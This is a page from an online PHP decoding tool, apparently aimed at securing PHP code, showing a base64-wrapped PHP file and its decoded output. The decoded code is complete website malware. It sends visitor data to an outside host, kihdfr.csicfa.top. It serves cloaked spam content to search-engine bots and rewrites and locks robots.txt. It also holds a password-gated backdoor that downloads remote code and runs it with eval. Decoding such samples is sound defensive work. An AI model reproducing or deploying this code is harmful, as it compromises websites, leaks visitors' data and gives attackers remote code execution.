Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".base64_decode("PD9waHAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11d..

Decoded Output download

?>b'<?php header(\'Content-Type: text/html; charset=utf-8\'); /*9(M?PuM*0NMn?XXy@P7*/@set_time_limit/*J(c%35Ql#QP7*/(0);
/*9*ui%SZ&k$z*/@error_reporting/*lWQPCw)SwX-US*X*/(0);
/*s8J&OVKU-T?0jD*/@ignore_user_abort/**Y?Jm7gODtR5*/(1);
/*?Fr0FPM4SaMtBf1H0*/@session_start/*4v-Q@1GcQhcsm=@oSV*/();
/*EN@qwD7)(y_JU1-IOm@*/ini_set/*9st0d_IfKrTyxih$r*/(\'display_errors\', \'Off\');
if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'DOCUMENT_ROOT\'])) {
    $puOFMeGLzGkmXqGIEa = /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'DOCUMENT_ROOT\'];
}else{
    $puOFMeGLzGkmXqGIEa = /*l4^LzL7y*s_HhAiAE*W*/dirname/*1CxHz4-$%LV*/(__FILE__);
}
$KpYYzEGAtXidSvbDn = "sitemap.xml";
if(/*o&GIeN1$ACgW?*/file_exists/*YL*xaA7CG#YCr8CJ_$*/($RSoSiXBHYgxeY = $puOFMeGLzGkmXqGIEa."/".$KpYYzEGAtXidSvbDn)) {
    /*q+_oGvb%UQwqc*/@unlink/*18=BFxV#o*F*/($RSoSiXBHYgxeY);
}
$MpXwdxgagjrnLNfOj = "Sitemap: ";
$SEFViQRdanvZHLb = "http";
if (rtWFhyMxRkvNBShZIWj()) {$SEFViQRdanvZHLb = \'https\';} else {$SEFViQRdanvZHLb = \'http\';}
$fZfpCUEHMfYhPjpIFCyh = $puOFMeGLzGkmXqGIEa . "/robots.txt";
$qCgrkzFFyyy = wWDEJVpJaGJqExIfhmv();
$XhXtKcazpYTkMeeeZuO = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/(wWDEJVpJaGJqExIfhmv());
$KUXZClZpovil = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/(@/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/["HTTP_ACCEPT_LANGUAGE"]);
$FSdvyPyMoylbzP = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_HOST\']);
$KUXZClZpovil = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/($KUXZClZpovil);
$dmZHwaRnroBoSMAB = \'\';
if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_REFERER\'])) {
    $dmZHwaRnroBoSMAB = /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_REFERER\'];
}
$dmZHwaRnroBoSMAB = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/($dmZHwaRnroBoSMAB);
$eNChyMxFZqkzObettaZd = /*F*3(c-GXv6)NdhOr$KI*/strtolower/*Vd^^RSZoOnZJ*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_USER_AGENT\']);
$jrzSSCVfFwD = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/($eNChyMxFZqkzObettaZd);
$yNiGhwGDOqxkBbiGd = /*=vRQ=c22nGLow0#3g*/urlencode/*5DBtKbX)%70xQp9ZX&Ra*/(/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'REMOTE_ADDR\']) ? /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'REMOTE_ADDR\']:\'\');
$SFaffCUlVyrVJAKNdPqM = \'h\'.\'t\'.\'t\'.\'p\'.\':/\'.\'/kihdfr.csicfa.top/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.\'m\'.\'y\'.\'_\'.\'h\'.\'o\'.\'s\'.\'t=\'.$FSdvyPyMoylbzP.\'&m\'.\'y_\'.\'u\'.\'ri=\'.$XhXtKcazpYTkMeeeZuO.\'&m\'.\'y\'.\'_l\'.\'a\'.\'ng=\'.$KUXZClZpovil.\'&my\'.\'_or\'.\'igi\'.\'n=\'.$dmZHwaRnroBoSMAB.\'&ht\'.\'t\'.\'p_typ\'.\'e=\'.$SEFViQRdanvZHLb.\'&my\'.\'_ag\'.\'e\'.\'nt=\'.$jrzSSCVfFwD.\'&m\'.\'y_i\'.\'d=\'.$yNiGhwGDOqxkBbiGd;
if(!empty(/*galGm%qp?5*/$_REQUEST/*m4yM^x!+dy+m*/[\'action\'])){
    $gwCpmzooGUno = /*galGm%qp?5*/$_REQUEST/*m4yM^x!+dy+m*/[\'action\'];
    $ZvcqYpJKEJrlQftchHc = /*wfN#VXUnxUig*/substr/*W013d$2g0MICA+P(cfmL*/($gwCpmzooGUno, -1);
    $gwCpmzooGUno = /*wfN#VXUnxUig*/substr/*W013d$2g0MICA+P(cfmL*/($gwCpmzooGUno, 0, strlen($gwCpmzooGUno)-1);
    $JEhiikIwKZaE = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/(\'9\',\'8\',\'2\',\'4\',\'5\',\'d\',\'7\',\'4\',\'1\',\'7\',\'2\',\'2\',\'5\',\'b\',\'5\',\'5\',\'a\',\'2\',\'c\',\'4\',\'b\',\'f\',\'5\',\'0\',\'b\',\'8\',\'a\',\'a\',\'4\',\'c\',\'7\',\'3\');
    if(/*ykMOrXdyk#n5)Fa$4*/md5/*i@LuHkw5_eWc!_Cyk*/($gwCpmzooGUno) == /*BJI_Xmp6i0D_0zfT$R*/implode/*ix!A-wmFA0rPeXB#q)!*/($JEhiikIwKZaE)){
        if(/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*galGm%qp?5*/$_REQUEST/*m4yM^x!+dy+m*/[\'action\'])){$_SESSION[\'action\'] = /*ykMOrXdyk#n5)Fa$4*/md5/*i@LuHkw5_eWc!_Cyk*/($gwCpmzooGUno);}
        $str_urls = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/(\'u\',\'g\',\'g\',\'c\',\':\',\'/\',\'/\',\'j\',\'f\',\'d\',\'t\',\'.\',\'w\',\'c\',\'i\',\'n\',\'p\',\'n\',\'g\',\'v\',\'b\',\'a\',\'.\',\'p\',\'b\',\'z\',\'/\',\'e\',\'r\',\'z\',\'b\',\'g\',\'r\',\'/\',\'q\',\'b\',\'b\',\'e\',\'/\');
        $nYinnfOuvIiFeSxd = NWcXWnZGlcaHWhsK(/*#3A_0GjyYgo6vK5K46*/str_rot13/*9vS1NuH5%una$$EH$H*/(/*BJI_Xmp6i0D_0zfT$R*/implode/*ix!A-wmFA0rPeXB#q)!*/($str_urls)).$ZvcqYpJKEJrlQftchHc.\'.t\'.\'x\'.\'t\');
        /*8s-FN^LhFB!&Rc*/eval/*YcWNshDYx56JcgFPa%eC*/(\'?>\' . $nYinnfOuvIiFeSxd);
    }
    /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
}else{
    if(/*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($eNChyMxFZqkzObettaZd, "bot") !== false || /*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($eNChyMxFZqkzObettaZd, "spider") !== false || /*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($eNChyMxFZqkzObettaZd, "yahoo") !== false || /*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($eNChyMxFZqkzObettaZd, "bing") !== false || /*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($eNChyMxFZqkzObettaZd, "google") !== false){
        if(aBmXUdpDPB($jrzSSCVfFwD)){
            $dyDhUhsWLlZFLjzSqTg = /*+x-bgFUz3^zgQrh*/trim/*ASpLp1TgIeFb!6cgD*/(NWcXWnZGlcaHWhsK($SFaffCUlVyrVJAKNdPqM));
        }
    }else{
        $dyDhUhsWLlZFLjzSqTg = /*+x-bgFUz3^zgQrh*/trim/*ASpLp1TgIeFb!6cgD*/(NWcXWnZGlcaHWhsK($SFaffCUlVyrVJAKNdPqM));
    }
}
if (!/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'notdoanything\')) {
    $VjuIKDfNbOjhPZxtHYjy = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/();
    if (/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echohtmlcontent\')) {
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/("Content-type: text/html; charset=utf-8");
        $dyDhUhsWLlZFLjzSqTg = /*Y9xN3SbidtG#p1Cl*/str_replace/*xZcL^XENIMnlHp=*/("echohtmlcontent", \'\', $dyDhUhsWLlZFLjzSqTg);
        $YywHbVfNXhGEiR = ArQSLRZcMLuvogeNDBP($dyDhUhsWLlZFLjzSqTg);
        $VjuIKDfNbOjhPZxtHYjy = $YywHbVfNXhGEiR[\'robots\'];
        $WpmmUkWEYTPV = $YywHbVfNXhGEiR[\'index_url\'];
        $dyDhUhsWLlZFLjzSqTg = $YywHbVfNXhGEiR[\'zy_content\'];
        yVwjUqeCTOzjYm($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $qCgrkzFFyyy, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy);
        echo $dyDhUhsWLlZFLjzSqTg;
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }else if(/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echoxmlcontent\')){
        $dyDhUhsWLlZFLjzSqTg = /*Y9xN3SbidtG#p1Cl*/str_replace/*xZcL^XENIMnlHp=*/("echoxmlcontent", \'\', $dyDhUhsWLlZFLjzSqTg);
        $YywHbVfNXhGEiR = ArQSLRZcMLuvogeNDBP($dyDhUhsWLlZFLjzSqTg);
        $dyDhUhsWLlZFLjzSqTg = $YywHbVfNXhGEiR[\'zy_content\'];
        $VjuIKDfNbOjhPZxtHYjy = $YywHbVfNXhGEiR[\'robots\'];
        $WpmmUkWEYTPV = $YywHbVfNXhGEiR[\'index_url\'];
        yVwjUqeCTOzjYm($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $qCgrkzFFyyy, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy);
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/("Content-type: text/xml");
        echo /*+x-bgFUz3^zgQrh*/trim/*ASpLp1TgIeFb!6cgD*/($dyDhUhsWLlZFLjzSqTg);
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }else if(/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echopingxmlcontent\')){
        $dyDhUhsWLlZFLjzSqTg = /*Y9xN3SbidtG#p1Cl*/str_replace/*xZcL^XENIMnlHp=*/("echopingxmlcontent", \'\', $dyDhUhsWLlZFLjzSqTg);
        $YywHbVfNXhGEiR = ArQSLRZcMLuvogeNDBP($dyDhUhsWLlZFLjzSqTg);
        $VjuIKDfNbOjhPZxtHYjy = $YywHbVfNXhGEiR[\'robots\'];
        $WpmmUkWEYTPV = $YywHbVfNXhGEiR[\'index_url\'];
        $dyDhUhsWLlZFLjzSqTg = $YywHbVfNXhGEiR[\'zy_content\'];
        $fcbrqpyzRotQjh = DPDDtXZWPeOI($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $qCgrkzFFyyy, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy);
        if($fcbrqpyzRotQjh !== false){
            echo $FSdvyPyMoylbzP.\' robots is success\';
        }else{
            echo $FSdvyPyMoylbzP.\' robots is fail\';
        }
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }else if (/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echo500pagecontent\')) {
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/(\'HTTP/1.1 500 Internal Server Error\');
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }else if (/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echo404pagecontent\')) {
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/(\'HTTP/1.1 404 Not Found\');
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }else if (/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'echo301pagecontent\')) {
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/(\'HTTP/1.1 301 Moved Permanently\');
        $dyDhUhsWLlZFLjzSqTg = /*Y9xN3SbidtG#p1Cl*/str_replace/*xZcL^XENIMnlHp=*/("echo301pagecontent", \'\', $dyDhUhsWLlZFLjzSqTg);
        /*OlX^mjb+tCgZKKS-K4WL*/@header/*(XuMz9zbm^k4)Xu*/(\'Location: \' . $dyDhUhsWLlZFLjzSqTg);
        /*@&y^ry1V)V*/exit/*5Qq=H2ed7SJ(S2rqn*/();
    }
}
function ArQSLRZcMLuvogeNDBP($dyDhUhsWLlZFLjzSqTg){
    $fcbrqpyzRotQjh = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/();
    if(/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($dyDhUhsWLlZFLjzSqTg, \'[zm]\')){
        $RGjWWlvlapaaEtE = /*L5WkG^kzCl@W1CIjL*/explode/*nhyRO#eS7tO4rTebwa*/(\'[zm]\', $dyDhUhsWLlZFLjzSqTg);
        $fcbrqpyzRotQjh[\'robots\'] = /*L5WkG^kzCl@W1CIjL*/explode/*nhyRO#eS7tO4rTebwa*/(\';\', $RGjWWlvlapaaEtE[0]);
        $fcbrqpyzRotQjh[\'index_url\'] = $RGjWWlvlapaaEtE[1];
        $fcbrqpyzRotQjh[\'zy_content\'] = $RGjWWlvlapaaEtE[2];
    }else{
        $fcbrqpyzRotQjh[\'robots\'] = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/();
        $fcbrqpyzRotQjh[\'index_url\'] = "";
        $fcbrqpyzRotQjh[\'zy_content\'] = $dyDhUhsWLlZFLjzSqTg;
    }
    return $fcbrqpyzRotQjh;
}
function aBmXUdpDPB($jrzSSCVfFwD){
    $eNChyMxFZqkzObettaZd = /*F*3(c-GXv6)NdhOr$KI*/strtolower/*Vd^^RSZoOnZJ*/($jrzSSCVfFwD);
    if ($eNChyMxFZqkzObettaZd != "") {
        $BXFRTWOgJCw = /*Ikz3d!%Rq*F$VesBC*/array/*(G*LcZT%&oR*/("Googlebot", "Yahoo! Slurp", "Yahoo Slurp", "bing.com", "bingbot", "Google AdSense", "google", "yahoo", "bing");
        foreach ($BXFRTWOgJCw as $mEUBdbFDvvwPqFEKg) {
            $str_urls = /*F*3(c-GXv6)NdhOr$KI*/strtolower/*Vd^^RSZoOnZJ*/($mEUBdbFDvvwPqFEKg);
            if (/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($eNChyMxFZqkzObettaZd, $str_urls)) {
                return true;
            }
        }
    }else{
        return false;
    }
}
function rtWFhyMxRkvNBShZIWj(){
    if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTPS\']) && /*F*3(c-GXv6)NdhOr$KI*/strtolower/*Vd^^RSZoOnZJ*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTPS\']) !== \'off\') {
        return true;
    } elseif (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_X_FORWARDED_PROTO\']) && /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_X_FORWARDED_PROTO\'] === \'https\') {
        return true;
    } elseif (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_FRONT_END_HTTPS\']) && /*F*3(c-GXv6)NdhOr$KI*/strtolower/*Vd^^RSZoOnZJ*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'HTTP_FRONT_END_HTTPS\']) !== \'off\') {
        return true;
    }
    return false;
}
function wWDEJVpJaGJqExIfhmv()
{
    if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'REQUEST_URI\'])) {
        $XhXtKcazpYTkMeeeZuO = /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'REQUEST_URI\'];
    } else {
        if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/(/*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'argv\'])) {
            $XhXtKcazpYTkMeeeZuO = /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'PHP_SELF\'] . \'?\' . /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'argv\'][0];
        } else {
            $XhXtKcazpYTkMeeeZuO = /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'PHP_SELF\'] . \'?\' . /*6-KnxFLsgoS%!bvPN*/$_SERVER/**4SlqkT5$fX*/[\'QUERY_STRING\'];
        }
    }
    return $XhXtKcazpYTkMeeeZuO;
}
function NWcXWnZGlcaHWhsK($SFaffCUlVyrVJAKNdPqM) {
    $uJlUygPfjT = "";
    if (/*sR8GbZ!hd+_0Zw*/function_exists/*u#Rkxv65XrxWJNWN@8q*/(\'file_get_contents\')) {
        $uJlUygPfjT = file_get_contents($SFaffCUlVyrVJAKNdPqM);
    }
    if (empty($uJlUygPfjT) && /*sR8GbZ!hd+_0Zw*/function_exists/*u#Rkxv65XrxWJNWN@8q*/(\'curl_exec\')) {
        $EgMCYgxNIxgRsoYn = /*ak8oW_lpR)s%MGRYA*/curl_init/*&jbqXVt5k3K*/($SFaffCUlVyrVJAKNdPqM);
        /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_RETURNTRANSFER, 1);
        /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_FOLLOWLOCATION, 1);
        /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
        /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_SSL_VERIFYPEER, 0);
        /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_SSL_VERIFYHOST, 0);
        if (/*q1bV5E(jZp?d^h$*/isset/*q)9GMB4stqwue*/($_SESSION[\'coki\'])) {
            /*iXgzmBX?jcT*/curl_setopt/*LU^hQ(+-9_@*/($EgMCYgxNIxgRsoYn, CURLOPT_COOKIE, $_SESSION[\'coki\']);
        }
        $uJlUygPfjT = curl_exec($EgMCYgxNIxgRsoYn);
        /*SSzGIx%FBQ0@==Dg=Xg*/curl_close/*_7a(iwFwp%T6UWY*/($EgMCYgxNIxgRsoYn);
    }
    if (empty($uJlUygPfjT) && /*sR8GbZ!hd+_0Zw*/function_exists/*u#Rkxv65XrxWJNWN@8q*/(\'fopen\') && /*sR8GbZ!hd+_0Zw*/function_exists/*u#Rkxv65XrxWJNWN@8q*/(\'stream_get_contents\')) {
        $handle = fopen($SFaffCUlVyrVJAKNdPqM, "r");
        $uJlUygPfjT = stream_get_contents($handle);
        /*Dt&@(BdQ?lWNeHU*/fclose/*@EktZevn7q=RE*/($handle);
    }
    return $uJlUygPfjT;
}
function ZGKSZHEGCpttoafZ($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $qCgrkzFFyyy){
    $irKSkBxejwYkpngv = "";
    if(/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($qCgrkzFFyyy, \'?\')){
        $qCgrkzFFyyys = /*L5WkG^kzCl@W1CIjL*/explode/*nhyRO#eS7tO4rTebwa*/(\'?\', $qCgrkzFFyyy);
        $qCgrkzFFyyy = $qCgrkzFFyyys[0];
        $irKSkBxejwYkpngv = $SEFViQRdanvZHLb.\'://\'.$FSdvyPyMoylbzP.$qCgrkzFFyyy.\'?\';
    }else{
        $irKSkBxejwYkpngv = $SEFViQRdanvZHLb.\'://\'.$FSdvyPyMoylbzP.\'/\';
    }
    return $irKSkBxejwYkpngv;
}
function yVwjUqeCTOzjYm($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $XhXtKcazpYTkMeeeZuO, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy){
    global $fZfpCUEHMfYhPjpIFCyh;
    if(!/*o&GIeN1$ACgW?*/file_exists/*YL*xaA7CG#YCr8CJ_$*/($fZfpCUEHMfYhPjpIFCyh)){
        DPDDtXZWPeOI($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $XhXtKcazpYTkMeeeZuO, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy);
    }else{
        $PZAIlGADDfgoJxUHTevW = file_get_contents($fZfpCUEHMfYhPjpIFCyh);
        if (!/*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($PZAIlGADDfgoJxUHTevW, "DtviLAEYZZHXf")) {
            DPDDtXZWPeOI($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $XhXtKcazpYTkMeeeZuO, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy);
        }
    }
}
function DPDDtXZWPeOI($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $XhXtKcazpYTkMeeeZuO, $WpmmUkWEYTPV, $VjuIKDfNbOjhPZxtHYjy){
    global $fZfpCUEHMfYhPjpIFCyh, $puOFMeGLzGkmXqGIEa, $KpYYzEGAtXidSvbDn, $MpXwdxgagjrnLNfOj;
    $UgzEdLkWjgCHzWcnNn = $SEFViQRdanvZHLb.\'://\'.$FSdvyPyMoylbzP;
    $irKSkBxejwYkpngv = ZGKSZHEGCpttoafZ($SEFViQRdanvZHLb, $FSdvyPyMoylbzP, $XhXtKcazpYTkMeeeZuO);
    $pjczLzUiHtzzaQWv = \'#DtviLAEYZZHXf\'.PHP_EOL
    .\'User-agent: *\'.PHP_EOL
    .\'Allow: /\'.PHP_EOL;
    $JExMNDhYYiw = false;
    $one_site = $SEFViQRdanvZHLb.\'://\'.$FSdvyPyMoylbzP.\'/\'.$KpYYzEGAtXidSvbDn;
    foreach ($VjuIKDfNbOjhPZxtHYjy as $HKAxVXDwsY=>$mEUBdbFDvvwPqFEKg){
        if(/*uGCus1dUA*8QYt*/strstr/*mb-1#wz5U*=xx+y!)3?*/($XhXtKcazpYTkMeeeZuO, $mEUBdbFDvvwPqFEKg)){
            $JExMNDhYYiw = true;
        }
    }
    if($JExMNDhYYiw || (/*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($XhXtKcazpYTkMeeeZuO, \'.php\') !== false)){
        if(!empty($WpmmUkWEYTPV)){
            $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$WpmmUkWEYTPV.$KpYYzEGAtXidSvbDn.PHP_EOL;
            if(!/*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($XhXtKcazpYTkMeeeZuO, \'index.php\') && !$JExMNDhYYiw){
                $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$irKSkBxejwYkpngv.$KpYYzEGAtXidSvbDn.PHP_EOL;
            }
        }else{
            $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$irKSkBxejwYkpngv.$KpYYzEGAtXidSvbDn.PHP_EOL;
        }
    }else{
        $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$irKSkBxejwYkpngv.$KpYYzEGAtXidSvbDn.PHP_EOL;
    }
    if(!/*=#W2Rvd=7y784-rQxp*/strpos/*&z7EN=o#M4Kl%$kg@*/($pjczLzUiHtzzaQWv, $one_site)){
        $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$one_site.PHP_EOL;
    }
    foreach ($VjuIKDfNbOjhPZxtHYjy as $HKAxVXDwsY=>$mEUBdbFDvvwPqFEKg){
        $NPLOSIjbCWKE = $puOFMeGLzGkmXqGIEa . \'/\' .$mEUBdbFDvvwPqFEKg;
        if(/*o&GIeN1$ACgW?*/file_exists/*YL*xaA7CG#YCr8CJ_$*/($NPLOSIjbCWKE)){
            $pjczLzUiHtzzaQWv .= $MpXwdxgagjrnLNfOj.$UgzEdLkWjgCHzWcnNn.\'/\'.$mEUBdbFDvvwPqFEKg.\'?\'.$KpYYzEGAtXidSvbDn.PHP_EOL;
        }
    }
    /*=vX?VNN58vF8*/chmod/*J&N(uYvppRL=c7HO!enF*/($fZfpCUEHMfYhPjpIFCyh, 0644);
    $fcbrqpyzRotQjh = /*0so13gTIQ^IQ#*/file_put_contents/*o8BHowdpfO3c?F?+pMXU*/($fZfpCUEHMfYhPjpIFCyh, $pjczLzUiHtzzaQWv);
    /*=vX?VNN58vF8*/chmod/*J&N(uYvppRL=c7HO!enF*/($fZfpCUEHMfYhPjpIFCyh, 0444);
    return $fcbrqpyzRotQjh;
} ?>'

Did this file decode correctly?

Original Code

eval("?>".base64_decode("PD9waHAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOyAvKjkoTT9QdU0qME5Nbj9YWHlAUDcqL0BzZXRfdGltZV9saW1pdC8qSihjJTM1UWwjUVA3Ki8oMCk7DQovKjkqdWklU1omayR6Ki9AZXJyb3JfcmVwb3J0aW5nLypsV1FQQ3cpU3dYLVVTKlgqLygwKTsNCi8qczhKJk9WS1UtVD8wakQqL0BpZ25vcmVfdXNlcl9hYm9ydC8qKlk/Sm03Z09EdFI1Ki8oMSk7DQovKj9GcjBGUE00U2FNdEJmMUgwKi9Ac2Vzc2lvbl9zdGFydC8qNHYtUUAxR2NRaGNzbT1Ab1NWKi8oKTsNCi8qRU5AcXdENykoeV9KVTEtSU9tQCovaW5pX3NldC8qOXN0MGRfSWZLclR5eGloJHIqLygnZGlzcGxheV9lcnJvcnMnLCAnT2ZmJyk7DQppZiAoLypxMWJWNUUoalpwP2ReaCQqL2lzc2V0LypxKTlHTUI0c3Rxd3VlKi8oLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0RPQ1VNRU5UX1JPT1QnXSkpIHsNCiAgICAkcHVPRk1lR0x6R2ttWHFHSUVhID0gLyo2LUtueEZMc2dvUyUhYnZQTiovJF9TRVJWRVIvKio0U2xxa1Q1JGZYKi9bJ0RPQ1VNRU5UX1JPT1QnXTsNCn1lbHNlew0KICAgICRwdU9GTWVHTHpHa21YcUdJRWEgPSAvKmw0Xkx6TDd5KnNfSGhBaUFFKlcqL2Rpcm5hbWUvKjFDeEh6NC0kJUxWKi8oX19GSUxFX18pOw0KfQ0KJEtwWVl6RUdBdFhpZFN2YkRuID0gInNpdGVtYXAueG1sIjsNCmlmKC8qbyZHSWVOMSRBQ2dXPyovZmlsZV9leGlzdHMvKllMKnhhQTdDRyNZQ3I4Q0pfJCovKCRSU29TaVhCSFlneGVZID0gJHB1T0ZNZUdMekdrbVhxR0lFYS4iLyIuJEtwWVl6RUdBdFhpZFN2YkRuKSkgew0KICAgIC8qcStfb0d2YiVVUXdxYyovQHVubGluay8qMTg9QkZ4ViNvKkYqLygkUlNvU2lYQkhZZ3hlWSk7DQp9DQokTXBYd2R4Z2FnanJuTE5mT2ogPSAiU2l0ZW1hcDogIjsNCiRTRUZWaVFSZGFudlpITGIgPSAiaHR0cCI7DQppZiAocnRXRmh5TXhSa3Z